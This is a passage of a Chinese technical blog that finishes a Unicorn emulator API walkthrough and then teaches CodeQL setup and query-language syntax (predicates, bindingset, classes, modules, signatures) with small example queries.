print(">>> Saving CPU context")
saved_context = mu.context_save()

print(">>> Pickling CPU context")
pickled_saved_context = pickle.dumps(saved_context)

print(">>> Running emulation for the second time")
mu.emu_start(address, address+1)
print(">>> Emulation done. Below is the CPU context")
print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX)))

print(">>> Unpickling CPU context")
saved_context = pickle.loads(pickled_saved_context)

print(">>> Modifying some register.")
saved_context.reg_write(UC_X86_REG_EAX, 0xc8c8)

print(">>> CPU context restored. Below is the CPU context")
mu.context_restore(saved_context)
print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX)))

except UcError as e:
print("ERROR: %s" % e)
  • context_save:保存当前位置的所有上下文信息,这里使用pickle库是为了将保存的内容进行序列化。
  • context_restore:将上下文信息载入到当前执行环境中。本示例表明上下文信息可以在不同次执行中相互使用。

4. 其他 API

  • mem_protect:设置某段地址的访问权限。参数有地址、长度、权限类型。
  • hook_del:删除某个 Hook。
  • mem_regions:返回当前模拟器的内存状态,返回的是一个生成器,每次调用next后获取一个内存区域的地址、长度与权限。
  • ctl_xxx:一系列方法,用于获取/设置一些配置,如内存、架构等。
  • mmio_map:映射一块用于 IO 的内存空间。包含 6 个参数:
    • address:起始地址
    • size:大小
    • read_cb:用于读的回调函数
    • user_data_read:传递给读回调函数的用户自定义数据
    • write_cb:用于写的回调函数
    • user_data_write:传递给写回调函数的用户自定义数据
  • query:查询引擎内部状态,只有 1 个参数表示查询的对象,可查询架构、处理器模式、超时时间、内存页大小,使用UC_QUERY_xxx形式传入

可以看出,Unicorn 轻量到甚至没有实现自行加载 ELF 文件的 API,更多地是用于调试。在实际使用中,它不如以其为基础的更为成熟的仿真工具好用。

下面是一位 Android 大神的 blog,其中包含了开发基于 Unicorn 的简易调试器与 Android so 库的加载器:链接

最近接触了一些漏洞挖掘比赛,在大神的引导下接触了CodeQL,这个常用的代码审计工具。与其他代码审计工具不同,它自己定义了一种语言,用于获取代码审计结果,这也使得该工具具有一定的学习成本。下面,我们就来学习一下该工具的使用。

实际上,我们可以将CodeQL语言看成Java语言与SQL语言的结合。CodeQL需要获取一个工程的构建命令,并在工程构建之时构建整个工程代码的抽象语法树(AST)。这个AST可以看做一个数据库,其中包含了工程中的所有代码逻辑,而CodeQL语言则可以对数据库进行筛选与查找,以完成对代码特定部分的审计。如我们需要获取工程中使用了哪些加密算法,工程中是否存在某种特定漏洞,都可以使用CodeQL语言定义匹配模式。

下面,我们就通过实例与代码结合的方式对CodeQL的语法进行学习。

A. 环境搭建与基础操作

A.1 CodeQL环境安装

VSCode对CodeQL的支持较好,这里选择以VSCode为基础搭建环境。

系统环境:Linux Mint

我们需要下载两个东西,一个是CodeQL-cli,用于编译CodeQL规则,是闭源的。第二个是第三方仓库,其中定义了很多实用的CodeQL类,后面会用到。

1
2
wget https://github.com/github/codeql-cli-binaries/releases/download/v2.17.6/codeql-linux64.zip
git clone https://github.com/Semmle/ql

这里的第二条命令可能会执行失败,这可能是因为该仓库较大,可以尝试使用下面的命令完成clone:

1
2
3
git clone https://github.com/Semmle/ql --depth 1
cd ql/
git fetch --unshallow

随后,将第一个闭源的文件解压后的目录加入PATH中,使用source命令更新后,即可使用codeql命令。但实际上我们基本不需要在命令行中使用该命令,而是多在VSCode中完成相关配置。

A.2 创建数据库

下面是使用codeql命令创建工程数据库的命令:

1
codeql database create <database_dir> --language="<lang>" --command="<build_command>" --source-root=<source_root>

其中database_dir即为数据库的目录,lang为需要审计的语言,build_command为构建命令,source_root为工程的根目录。这里目录与命令中的目录最好使用绝对路径。

A.3 VSCode插件

在VSCode插件界面中,搜索CodeQL后安装。

随后打开 “首选项 > 设置”,搜索CodeQL,修改 “Code QL > Cli: Executable Path” 为codeql可执行文件的路径。即完成了CodeQL插件的配置。

B. CodeQL 语法

B.1 基本查询

一个CodeQL脚本执行后,最终应该输出一个表格,其中保存有所有匹配该脚本中定义的模式的工程代码元素。

首先,我们以一个demo工程作为示例。该工程中只有1个main.c文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

const char* names[] = {
"Hornos",
"Colin",
"Alex",
"Torvalds",
};

int main() {
int idx;
scanf("%d", &idx);
printf("%s", names[idx % 4]);
}

使用上面的数据库生成命令为该工程生成一个数据库,构建命令为gcc main.c -o test。当最后输出Successfully created database at …时,即完成了数据库构建。

随后,我们需要在指定目录下编写CodeQL脚本,否则CodeQL将无法找到实用类。对于C/C++文件,应该在第三方仓库根目录下 /cpp/ql/examples 进行编写。

Example 01

1
2
3
4
import cpp

from Include include
select include

上面是一个简单的CodeQL脚本,用于获取工程中包含的所有头文件。这里的头文件是递归获取的。

  • import cpp:导入cpp,这是一个qll文件,位于/cpp/ql/examples/lib中,包含了很多实用的cpp模块。
  • from Include include:定义筛选对象,这里的Include是一个类,其中定义了与C/C++头文件有关的属性等,include为对象名。
  • select include:选择所有数据库中的Include对象并输出。

编写完上面的脚本后,直接点击右上角的启动即可开始运行脚本。运行结果如下图所示。

实际上,这里的输出是调用了Include类中的toString方法。

1
2
3
4
5
6
// ql/cpp/ql/lib/semmle/code/cpp/include.qll, line 19

class Include extends PreprocessorDirective, @ppd_include {
override string toString() { result = "#include " + this.getIncludeText() }
...
}

考虑到不同语言的语法结构可能有很大不同,因此对于不同的语言,第三方仓库中定义有不同的工具类,因此需要进行某种语言的审计时,最好先对该语言定义的一些模块与类进行了解。

B.2 条件查询

如果需要在查询语句中添加一些限制条件,可以在from之后,select之前添加限制条件。

Example 02

1
2
3
4
5
import cpp

from Literal literal
where literal.toString().length() >= 4
select literal

在上面的脚本中,Literal为字符串字面量类,如果没有where语句,则将获取所有的字符串字面量。这里where语句限制只选择长度不小于4的字符串字面量。最终输出结果就是我们所定义的4个字符串。

注意:CodeQL的字符串类属于内置数据类型,相关方法与Java基本相同,方法名都一样。CodeQL的内置数据类型有:boolean、float、int、string、date。另外单等于号既可以表示等于又可以表示赋值,放在条件判断中表示等于,其他则表示赋值。

B.3 predicate谓词

当条件查询中的条件较为复杂时,可以通过使用predicate谓词将条件进行包装,这样可以提升脚本文件的模块化水平与可读性。

如上面的Example 02可以改成相同语义的下面这个脚本:

Example 03

1
2
3
4
5
6
7
8
9
import cpp

predicate enough_string_length(Literal literal) {
literal.toString().length() >= 4
}

from Literal literal
where enough_string_length(literal)
select literal

predicate关键字可以看做定义返回布尔类型的函数。在函数体内部,默认以最后一条语句的结果作为返回值。

B.4 函数定义

CodeQL的函数定义与Java类似,不同的是,CodeQL以内部变量result作为返回值,不使用return关键字。

Example 04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import cpp

predicate enough_string_length(Literal literal) {
literal.toString().length() >= 4
}

string long_string_upper(Literal literal) {
result = literal.toString().toUpperCase()
and literal.toString().length() >= 5
}

from Literal literal
where enough_string_length(literal)
select literal, long_string_upper(literal)

需要注意的是,由于CodeQL不是专用于常规代码逻辑的语言,因此CodeQL基本没有实现代码的流程控制,在关键字中不存在通用编程语言中常见的whilefor等。因此在脚本中,函数实际上也是predicate谓词的一种形式。在Example 03中,定义的谓词没有result作为返回值,因此被称为无返回值谓词。而在Example 04中,定义了一个返回值为string的谓词,称为有返回值谓词。需要注意的是,有返回值谓词不一定只能返回某个值,它还能附加上一些限制条件,如这里的and literal.toString().length() >= 5就对传入的参数进行了限制。

无返回值谓词只能放在where关键字之后,而有返回值谓词可以放在whereselect之后,均在作为返回值类型使用的同时针对内部限制条件进行筛选;如这里的长度限制就会筛选掉一个长度为4的字符串Alex,输出结果如下。

可以看到,输出中最后一列的列名为[1]。如果需要修改这里,可以在long_string_upper(literal)后面添加as ...指定列名。

B.5 类定义与类继承

CodeQL还可以定义类,类可以定义继承关系。

在类中可定义同名谓词,即直接以类名作为谓词使用。

Example 05

1
2
3
4
5
6
7
8
9
10
11
import cpp

class EnoughLength extends Literal {
EnoughLength() {
this.toString().length() >= 4
}
}

from Literal literal
where literal instanceof EnoughLength
select literal

上面的例子是谓词的第三种写法,即包装在类内部。对于CodeQL中的类继承关系,可以理解为:子类是满足某些条件的父类的子集,这里的“某些条件”定义在子类的构造函数中。如这里即定义了Literal的子类,要求字面量长度不小于4。

注意:下面的写法是错误的:

Example 06 (WRONG)

1
2
3
4
5
6
7
8
9
10
11
import cpp

class EnoughLength extends string {
EnoughLength() {
this.length() >= 4
}
}

from Literal literal
where literal.toString() instanceof EnoughLength
select literal

报错发生于EnoughLength构造函数中:The characteristic predicate for ‘test::EnoughLength’ does not bind ‘this’ to a value.

这个报错刚出现时,我非常困惑,询问了多个GPT也没有获得满意的结果。折腾了好一阵子之后,最终还是在CodeQL官方文档中找到了答案(还是要多看文档啊):CodeQL在处理谓词时需要确保处理对象是一个有限集,这样才能够在有限时间内完成处理。对于上面的例子,由于string字符串类型是一个无限集,其长度可以为任意长度,因此CodeQL无法处理。相同的报错也会发生在尝试继承int、double等其他基本类型中,虽然int和double实际上在计算机中表示时本质上是有限集,但在数学上是无限集,因此当做无限集看待。

有一种情况例外:

Example 07

1
2
3
4
5
class EnoughLength extends string {
EnoughLength() {
this in ["a", "b", "c"]
}
}

在这个示例中,this已经被明确为一个指定集合,子类的范围已经明确,不需要确定父类范围。这种写法是正确的。

那么,如果非要针对无限集定义predicate,应该如何处理呢?答案是——注解bindingset[]。这是一种annotation注解,可以将谓词中的参数显式绑定到有限集,只需要添加一行代码,就可以让example 06通过编译:

Example 08

1
2
3
4
5
6
7
8
9
10
11
12
import cpp

bindingset[this]
class EnoughLength extends string {
EnoughLength() {
this.length() >= 4
}
}

from Literal literal
where literal.toString() instanceof EnoughLength
select literal

在上例中,我们通过bindingset注解将类自身绑定到有限集中,这个有限集取决于使用该类的代码。如这里是literal.toString(),即相当于将类EnoughLength首先绑定到由所有literal调用toString()方法获取的有限集中。这样实际处理的就不是无限集了。

需要注意的是,在文档中提到,bindingset可以针对多个参数使用,有两种书写形式:

1
2
bindingset[x] bindingset[y]
bindingset[x, y]

对于第一种,它的含义是:只需要x和y的其中之一被绑定,则认定x与y均被绑定(两个绑定的指定相互独立)。对于一个有两个参数的谓词,如果只指定x绑定,则含义为:当x被绑定时,认为x和y都被绑定。

而对于第二种,它的含义是:x与y必须都被绑定。这种书写形式多用于带返回值的谓词中。

Example 09

1
2
3
4
5
6
7
8
bindingset[x] bindingset[y]
predicate plusOne(int x, int y) {
x + 1 = y
}

from int x, int y
where y = 42 and plusOne(x, y)
select x, y

上例为CodeQL文档中的一个示例。这个示例是正确的。将bindingset[x]删除后依然正确,但删除bindingset[y]则错误。原因是where限制条件中只限制了y到一个有限集{42},却没有限制x。CodeQL在这种情况下能够求出x的值(41)并输出。

B.6 模块

除了类之外,CodeQL还有更加高层次的一个代码结构——模块。根据CodeQL文档,模块分为几种:

  • 文件模块:每个ql与qll后缀的文件都会隐式生成一个模块。
    • 库模块:qll文件的模块。
    • 查询模块:ql文件的模块。
  • 显式模块:使用module关键字显式声明的模块。
    • 参数化模块:除了使用module显式声明外,还使用<>指定谓词参数的模块,相当于带有谓词泛型的模块。

Example 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import cpp
import mymodule

module mymodule {
class EnoughLenLiteral extends Literal {
EnoughLenLiteral() {
this.toString().length() >= 4
}
}
}

from Literal literal
where literal instanceof EnoughLenLiteral
select literal

如上例所示,在模块中,可以定义类、谓词等,需要使用模块时,需要首先进行导入,即使该模块在当前文件中定义也需要导入。

Example 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import cpp
import MyModule

bindingset[x]
signature predicate mysig(int x);

module MyModuleTemplate<mysig/1 limit>{
predicate enough_string_length(Literal literal) {
limit(literal.toString().length())
}
}

bindingset[x]
predicate morethan3(int x) { x > 3 }

module MyModule = MyModuleTemplate<morethan3/1>;

from Literal literal
where MyModule::enough_string_length(literal)
select literal

上例展示了带有谓词参数的模块定义与实例化。MyModuleTemplate是我们定义的模块泛型,包含1个泛型谓词limit,谓词格式为mysig格式。这是一个谓词signature签名,在CodeQL中,signature可用于指定谓词类型,如这里的signature调用即定义了一个谓词格式,它具有1个int类型的参数、没有返回值、且参数被绑定。在泛型模块定义时,需要指定每个泛型谓词的参数个数,即mysig后面的/1,表示该泛型谓词有1个参数。在泛型模块之内,可以直接调用模块谓词。关于signature关键字的使用在后面将详细说明。

由于泛型模块内存在未确定的谓词,因此需要使用泛型模块前,首先需要指定泛型类型以将其实例化。这里的MyModule即为模块泛型MyModuleTemplate的实例化结果,它使用morethan3这个谓词作为泛型参数传递。

B.7 模块实现

在CodeQL中,可以使用signature关键字定义一个模块签名,可以看做是一个模块接口,其他模块可以通过使用implements接口实现该模块。一旦要实现某个模块,必须在该模块中实现模块签名中除使用default修饰的所有内容,包括数据类型、类、谓词等。

Example 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import cpp
import MyModule

signature module MyModuleTemplate{
predicate enough_string_length(Literal literal);
default string description() { result = "Default description" }
}

module MyModule implements MyModuleTemplate {
predicate enough_string_length(Literal literal) {
literal.toString().length() > 3
}
}

from Literal literal
where MyModule::enough_string_length(literal)
select literal, MyModule::description()

在上例中,我们定义了一个模块签名MyModuleTemplate,其中定义了一个谓词,在模块签名中的谓词不需要使用signature,会默认将其看做谓词签名。下面还定义了一个default修饰的谓词,这个谓词可以选择不实现,这样实例化模块中会直接使用default中的谓词逻辑。